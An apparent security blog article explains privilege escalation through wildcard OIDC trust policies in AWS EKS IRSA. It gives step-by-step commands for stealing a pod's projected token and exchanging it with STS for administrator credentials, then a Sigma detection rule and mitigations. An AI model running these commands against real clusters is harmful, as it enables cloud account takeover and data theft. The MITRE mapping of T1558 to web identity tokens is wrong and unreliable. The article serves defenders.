AWS EKS IRSA: Deconstructing OIDC Federation & IAM Escalation
Overview & Threat Landscape: The Architecture of Pod-to-Cloud Identity Federation#
AWS EKS IRSA trusts projected Kubernetes tokens for IAM access, but wildcard OIDC policies allow cloud takeover; enforce strict trust conditions.
In cloud-native enterprise deployments, Amazon Elastic Kubernetes Service (EKS) has become the standard platform for running containerized workloads at scale. To integrate Kubernetes microservices with native Amazon Web Services (AWS) resources—such as Amazon S3, DynamoDB, Secrets Manager, and RDS—organizations historically relied on two flawed identity patterns: hardcoding long-lived IAM access keys into Kubernetes secrets, or attaching broad IAM policies directly to the underlying EC2 worker node instance profiles. While the former introduced massive credential leakage risks in source repositories, the latter exposed an ambient authority anti-pattern: any container running on a worker node could query the Instance Metadata Service (IMDS) at 169.254.169.254 to harvest the node's IAM role, violating the principle of least privilege.
To solve this privilege leakage, AWS introduced IAM Roles for Service Accounts (IRSA). IRSA leverages OpenID Connect (OIDC) identity federation combined with Kubernetes Projected Service Account Tokens (PSAT):
- An administrator creates an IAM OpenID Connect (OIDC) identity provider in AWS corresponding to the EKS cluster's API server.
- An IAM role is provisioned with a Trust Relationship (
AssumeRolePolicyDocument) specifying that the AWS Security Token Service (sts:AssumeRoleWithWebIdentity) may be invoked by holders of web identity tokens issued by the cluster's OIDC provider. - When a pod is annotated with an IAM role ARN (
eks.amazonaws.com/role-arn), the EKS Pod Identity Webhook dynamically mutates the pod specification, injecting two environment variables (AWS_ROLE_ARNandAWS_WEB_IDENTITY_TOKEN_FILE) and mounting an ephemeral, cryptographically signed JSON Web Token (JWT) at/var/run/secrets/eks.amazonaws.com/serviceaccount/token. - When the AWS SDK inside the container initializes, it reads the projected token and automatically exchanges it with AWS STS for temporary, scoped IAM credentials (
AccessKeyId,SecretAccessKey,SessionToken).
However, the security of this entire federation architecture depends upon the precision of the IAM Role Trust Relationship. In production environments, platform teams frequently configure trust policies with wildcards in the subject condition key (StringLike: "system:serviceaccount:*:*" or system:serviceaccount:staging:*) to simplify development or support dynamic multi-tenant workloads.
This single misconfiguration collapses the container-to-cloud security boundary: any unprivileged container in any namespace (even an untrusted development or public-facing ingress pod) can extract its local projected service account token and exchange it for high-privilege administrative IAM credentials, achieving full AWS account takeover.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
MITRE ATT&CK Threat Mapping#
Deconstructing the attack chain of IRSA token theft and OIDC federation exploitation requires mapping each stage against the MITRE ATT&CK matrix:
- T1078.004 (Valid Accounts: Cloud Accounts): The adversary obtains valid temporary AWS IAM credentials by exploiting legitimate OIDC federation trust relationships via AWS STS.
- T1558 (Steal or Forge Web Identity Tokens): The attacker extracts the Kubernetes Projected Service Account Token (
AWS_WEB_IDENTITY_TOKEN_FILE) from a compromised pod's filesystem. - T1552.005 (Unsecured Credentials: Cloud Instance Metadata / Projected Tokens): The adversary reads ephemeral authentication tokens mounted in standard container paths.
- T1068 (Exploitation for Privilege Escalation): The attacker leverages wildcard trust policy conditions to elevate privileges from an unprivileged container to full AWS
AdministratorAccess.
| Initial Pod Compromise: | Token Extraction: | OIDC Federation Flaw: |
|---|---|---|
| Vulnerable Web / Ingress Pod ➔ Read | Projected Token JWT ➔ | Wildcard Trust Policy in IAM Role |
| Namespace: staging-public | /var/run/secrets/.../token | StringLike: system:serviceaccount:* |
| STS API Exploitation: | IAM Role Assumption: | Ultimate Cloud Impact: |
| AssumeRoleWithWebIdentity ➔ | Temporary ASIA... Keys Issued ➔ | Full AWS Account Compromise |
| Token validated by OIDC | Assumes Admin IAM Role | S3 Exfiltration / Backdoor Admin |
Vulnerability & Attack Root-Cause Analysis: The OIDC Trust Policy Wildcard Defect#
To understand why IRSA privilege escalation occurs, we must dissect the cryptographic mechanics of Kubernetes projected tokens and the evaluation engine of AWS IAM trust policies.
1. Anatomy of an EKS Projected Service Account Token (PSAT)#
Unlike legacy Kubernetes service account tokens (which were static secrets stored in etcd), Projected Service Account Tokens are dynamic, cryptographically signed JSON Web Tokens (JWTs) generated directly by the Kubernetes API server using an RSA private key.
When decoded, an IRSA projected token reveals three critical fields:
{
"iss": "https://oidc.eks.us-east-1.amazonaws.com/id/D89B5F7A2C1E4A3B9C8E7D6F5A4B3C2D",
"sub": "system:serviceaccount:staging-public:frontend-serviceaccount",
"aud": [
"sts.amazonaws.com"
],
"exp": 1793081200,
"nbf": 1761545200,
"kubernetes.io": {
"namespace": "staging-public",
"pod": {
"name": "frontend-web-7b9d4c3e-x8z9k",
"uid": "e3b0c442-98fc-1c14-9afb-4c8996fb9242"
},
"serviceaccount": {
"name": "frontend-serviceaccount",
"uid": "8b4c2e1f-7a9d-4c3e-9f12-c5e8d7a1b3f4"
}
}
}
iss(Issuer): The unique HTTPS endpoint of the EKS cluster's OIDC provider.sub(Subject): The identity of the service account formatted assystem:serviceaccount:<namespace>:<serviceaccount-name>.aud(Audience): The intended recipient of the token, which must includests.amazonaws.com.
2. The Root Cause: Overly Permissive IAM Trust Relationships#
When an administrator provisions an IAM role for an EKS workload, AWS IAM evaluates incoming sts:AssumeRoleWithWebIdentity requests against the role's trust policy.
Below is an authentic reproduction of a vulnerable IAM role trust policy commonly deployed in enterprise staging and production environments:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::112233445566:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/D89B5F7A2C1E4A3B9C8E7D6F5A4B3C2D"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/D89B5F7A2C1E4A3B9C8E7D6F5A4B3C2D:aud": "sts.amazonaws.com"
},
"StringLike": {
"oidc.eks.us-east-1.amazonaws.com/id/D89B5F7A2C1E4A3B9C8E7D6F5A4B3C2D:sub": "system:serviceaccount:*:*"
}
}
}
]
}
The Evaluation Failure
- The
Principalverifies that the incoming token was signed by the cluster's trusted OIDC provider. AWS STS fetches the public keys fromhttps://oidc.eks.us-east-1.amazonaws.com/id/.../keysand confirms cryptographic validity. - The
audcondition validates that the token was minted forsts.amazonaws.com. - The fatal flaw lies in the
StringLikecondition onsub:"system:serviceaccount:*:*".
Because developers intended to allow multiple services to assume this role (or copied a boilerplate template from online forums), the wildcard * matches any namespace and any service account name.
As a consequence, if an attacker compromises a low-privilege guestbook container running in the staging-public namespace, that container's token possesses the subject system:serviceaccount:staging-public:frontend-serviceaccount. When evaluated against "system:serviceaccount:*:*", the IAM policy engine evaluates the condition as TRUE!
The attacker successfully assumes an IAM role granting unrestricted cloud access (AdministratorAccess or broad S3/RDS permissions), completely bypassing Kubernetes namespace boundaries and cluster RBAC.
Using StringLike with wildcards (*) in the sub condition key of an IAM trust policy completely destroys multi-tenant isolation in EKS. Every container in the cluster becomes capable of assuming that IAM role.
Exploit Architecture: Attack Flow & OIDC Web Identity Federation#
The following sequence diagram illustrates the end-to-end communication flow between the compromised container, the internal Kubernetes filesystem, AWS STS, the EKS OIDC provider, and the AWS Cloud Control Plane:
sequenceDiagram
autonumber
actor Attacker as Threat Actor / Compromised Pod
participant FS as Container File System (/var/run/secrets/...)
participant STS as AWS Security Token Service (STS)
participant OIDC as EKS Cluster OIDC Provider (AWS S3 Hosted)
participant IAM as AWS IAM Policy Evaluation Engine
participant Cloud as AWS Cloud APIs (EC2 / S3 / IAM)
Note over Attacker,FS: Phase 1: Local Token Extraction
Attacker->>FS: Read $AWS_WEB_IDENTITY_TOKEN_FILE
FS-->>Attacker: Return Projected Service Account Token (JWT)
Note over Attacker,STS: Phase 2: Web Identity Role Assumption Request
Attacker->>STS: POST / Action=AssumeRoleWithWebIdentity (RoleArn, WebIdentityToken)
STS->>OIDC: GET /.well-known/openid-configuration & /keys
OIDC-->>STS: Return Cluster Public Signing Keys (JWKS)
STS->>STS: Verify Cryptographic Signature & Expiration of JWT
Note over STS,IAM: Phase 3: Trust Policy Condition Evaluation
STS->>IAM: Evaluate Target Role Trust Relationship
IAM->>IAM: Match Condition: StringLike system:serviceaccount:*:*
IAM-->>STS: Condition Satisfied (Access Allowed)
Note over STS,Attacker: Phase 4: Temporary Credential Issuance
STS-->>Attacker: HTTP 200 OK (AccessKeyId, SecretAccessKey, SessionToken)
Note over Attacker,Cloud: Phase 5: Cloud Account Takeover
Attacker->>Cloud: aws s3 ls / aws iam create-user (Using Temporary Keys)
Cloud-->>Attacker: Execution Succeeded (Full AWS Infrastructure Compromise)Attack Path Step-by-Step: From Pod RCE to Full AWS Cloud Takeover#
Understanding how red teams and adversaries execute this privilege escalation requires tracing the precise technical operations observed during cloud penetration tests.
Step 1: Enumerating the Compromised Pod & Injected Environment#
Once an adversary achieves remote code execution (RCE) inside a container or reads files via directory traversal, they inspect the process environment:
# Inspect environment variables for IRSA configuration
env | grep -E '(AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE)'
Expected Output:
AWS_ROLE_ARN=arn:aws:iam::112233445566:role/ClusterInfrastructureAdminRole
AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token
Even if AWS_ROLE_ARN is set to a low-privilege role (or absent), the projected token is still present if the service account was configured with an automounted token.
Step 2: Decoding and Analyzing the Projected Token#
The attacker extracts the token and parses its claims to determine the cluster's OIDC issuer and subject mapping:
# 1. Read the projected token from disk
TOKEN=$(cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# 2. Decode the JWT payload without third-party utilities
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
Inspected Token Claims:
{
"iss": "https://oidc.eks.us-east-1.amazonaws.com/id/D89B5F7A2C1E4A3B9C8E7D6F5A4B3C2D",
"sub": "system:serviceaccount:staging-public:web-serviceaccount",
"aud": [
"sts.amazonaws.com"
],
"exp": 1793081200
}
The attacker now possesses a valid, signed JWT issued by the cluster's OIDC provider.
Step 3: Discovering Target IAM Roles in the Target Account#
In enterprise environments, role names often follow standardized naming conventions (e.g., *Admin*, *EKS*, *Deployment*). Attackers enumerate candidate roles through:
- Public GitHub repositories or CI/CD pipelines associated with the victim.
- CloudFormation / Terraform manifests leaked in container directories.
- Brute-forcing role names against the discovered AWS account ID (
112233445566).
Target Role Identified: arn:aws:iam::112233445566:role/ClusterInfrastructureAdminRole
Step 4: Calling AssumeRoleWithWebIdentity via AWS CLI / cURL#
The attacker presents the stolen token to the AWS STS global endpoint, requesting temporary administrative credentials:
# Assume the high-privilege IAM role using the projected token
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::112233445566:role/ClusterInfrastructureAdminRole" \
--role-session-name "pwned-session" \
--web-identity-token "$TOKEN" \
--duration-seconds 3600
Alternatively, Using Raw cURL (Zero Local Dependencies):
curl -s -X POST "https://sts.amazonaws.com/" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "Action=AssumeRoleWithWebIdentity" \
-d "Version=2011-06-15" \
-d "RoleArn=arn:aws:iam::112233445566:role/ClusterInfrastructureAdminRole" \
-d "RoleSessionName=pwned-session" \
-d "WebIdentityToken=$TOKEN" | xmllint --format -
Successful STS Response:
<AssumeRoleWithWebIdentityResponse xmlns="https://sts.amazonaws.com/doc/2011-06-15/">
<AssumeRoleWithWebIdentityResult>
<Credentials>
<AccessKeyId>ASIAV7K4PEXAMPLEKEY</AccessKeyId>
<SecretAccessKey>wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY</SecretAccessKey>
<SessionToken>IQoJb3JpZ2luX2VjEOr...==</SessionToken>
<Expiration>2026-10-27T03:45:00Z</Expiration>
</Credentials>
<AssumedRoleUser>
<AssumedRoleId>AROAEXAMPLEKEY:pwned-session</AssumedRoleId>
<Arn>arn:aws:sts::112233445566:assumed-role/ClusterInfrastructureAdminRole/pwned-session</Arn>
</AssumedRoleUser>
</AssumeRoleWithWebIdentityResult>
</AssumeRoleWithWebIdentityResponse>
Step 5: Exporting Cloud Credentials & Account Dominance#
The attacker loads the temporary credentials into their shell environment and verifies administrative access:
# Export temporary credentials
export AWS_ACCESS_KEY_ID="ASIAV7K4PEXAMPLEKEY"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEOr...=="
# Verify active IAM identity
aws sts get-caller-identity
Command Output:
{
"UserId": "AROAEXAMPLEKEY:pwned-session",
"Account": "112233445566",
"Arn": "arn:aws:sts::112233445566:assumed-role/ClusterInfrastructureAdminRole/pwned-session"
}
The adversary now operates with the permissions of ClusterInfrastructureAdminRole. They can query sensitive S3 data buckets, create rogue IAM users with console access, modify security groups, and maintain persistent cloud access.
Fast Cyber Defense Morning Takeaways: Cloud Identity & Telemetry Actions#
The exploitation of wildcard OIDC trust policies underscores the danger of treating container namespaces as absolute security boundaries when federating with cloud identity providers.
Immediate Action Items for Cloud & Platform Teams#
- Audit All IAM Role Trust Relationships: Scan all IAM role trust policies immediately for
StringLikeconditions containing wildcards (*) matchingsystem:serviceaccount:. - Enforce Strict Namespace & Account Pinning: Replace all
StringLikeconditions with exactStringEqualsmatches specifying both the explicit namespace and service account name (e.g.,system:serviceaccount:production:backend-api). - Migrate to EKS Pod Identity: Where supported (EKS 1.24+), evaluate migrating from IRSA to EKS Pod Identity, which manages credential vending directly through an in-cluster daemonset and removes the need for public OIDC provider discovery and complex trust policy strings.
- Deploy CloudTrail SIEM Alerts: Implement the Sigma rule provided below to alert whenever
AssumeRoleWithWebIdentityis invoked with unexpected service account subjects or from external IP addresses.
Production Detection Rule: Sigma SIEM Specification#
Deploy the following Sigma rule across centralized SIEM platforms (Splunk, Microsoft Sentinel, Elastic, Sumo Logic) to detect suspicious AssumeRoleWithWebIdentity events in AWS CloudTrail:
title: Suspicious AWS STS AssumeRoleWithWebIdentity Invocation (IRSA Abuse)
id: 9d8b7c6e-5f4a-4e3b-8c12-a1b2c3d4e5f6
status: production
description: |
Detects instances where AWS STS AssumeRoleWithWebIdentity is invoked by an unusual Kubernetes service account,
originates from an external non-cluster IP address, or assumes high-privilege administrative IAM roles
indicative of IRSA wildcard trust policy exploitation.
references:
- https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html
- https://attack.mitre.org/techniques/T1078/004/
tags:
- attack.credential_access
- attack.t1078.004
- attack.privilege_escalation
- attack.t1068
logsource:
service: cloudtrail
product: aws
detection:
selection_event:
eventName: 'AssumeRoleWithWebIdentity'
eventSource: 'sts.amazonaws.com'
selection_sensitive_roles:
requestParameters.roleArn|contains:
- 'Admin'
- 'Administrator'
- 'FullAccess'
- 'Infrastructure'
- 'ClusterMaster'
selection_unusual_namespaces:
requestParameters.webIdentityToken|contains:
- 'system:serviceaccount:default:'
- 'system:serviceaccount:staging:'
- 'system:serviceaccount:guest:'
- 'system:serviceaccount:test:'
condition: selection_event and (selection_sensitive_roles or selection_unusual_namespaces)
falsepositives:
- Authorized automated CI/CD pipeline service accounts explicitly granted administrative deployment roles.
level: high
Executive Takeaway Table: Threat Vectors, Detection Signals, and Primary Mitigations#
The following executive summary consolidates the core attack vectors, observable telemetry signals, and recommended engineering remediations for AWS EKS IRSA architectures:
| Attack Vector / Technique | Primary Exploitation Mechanism | Telemetry & Detection Signal | Recommended Mitigation | Verification Command |
|---|---|---|---|---|
| Wildcard Trust Policy (T1068) | StringLike: system:serviceaccount:*:* allows any pod token to assume role |
CloudTrail: AssumeRoleWithWebIdentity with unexpected sub in request |
Replace StringLike with StringEquals matching exact namespace & service account |
aws iam get-role --role-name <RoleName> |
| Pod Token Extraction (T1552.005) | Adversary reads /var/run/secrets/eks.amazonaws.com/serviceaccount/token |
Container file access events; anomalous shell execution inside pod | Implement Kyverno/Gatekeeper policies; enforce read-only filesystems | Review pod volumeMounts in Kubernetes spec |
| External STS Token Replay | Attacker exfiltrates token and calls STS from external machine | CloudTrail: AssumeRoleWithWebIdentity source IP is outside VPC/NAT gateways |
Restrict IAM trust policy using aws:SourceIp condition or migrate to Pod Identity |
Audit sourceIPAddress in CloudTrail logs |
| Cross-Cluster OIDC Replay | Shared OIDC issuer URL allows tokens from staging cluster to assume prod roles | CloudTrail: Event indicates role assumed from unexpected cluster OIDC ARN | Provision distinct OIDC identity providers per cluster; pin cluster ID | aws iam list-open-id-connect-providers |
| Excessive IAM Role Permissions | Assumed IAM role possesses broad wildcard permissions (AdministratorAccess) |
CloudTrail: Spike in administrative API calls (CreateUser, PutBucketPolicy) |
Enforce least-privilege IAM policies and Permission Boundaries | aws iam list-attached-role-policies |
Authoritative References & Standards#
- Amazon Web Services Documentation: IAM Roles for Service Accounts (IRSA) Technical Specification — AWS EKS Documentation
- Kubernetes Official Documentation: Service Account Token Volume Projection (PSAT Architecture) — Kubernetes Docs
- Cloud Native Computing Foundation (CNCF): Kubernetes Security Best Practices: Workload Identity Federation — CNCF Security Guidance
- MITRE ATT&CK Framework: Technique T1078.004: Valid Accounts: Cloud Accounts — MITRE ATT&CK
Comments
Post a Comment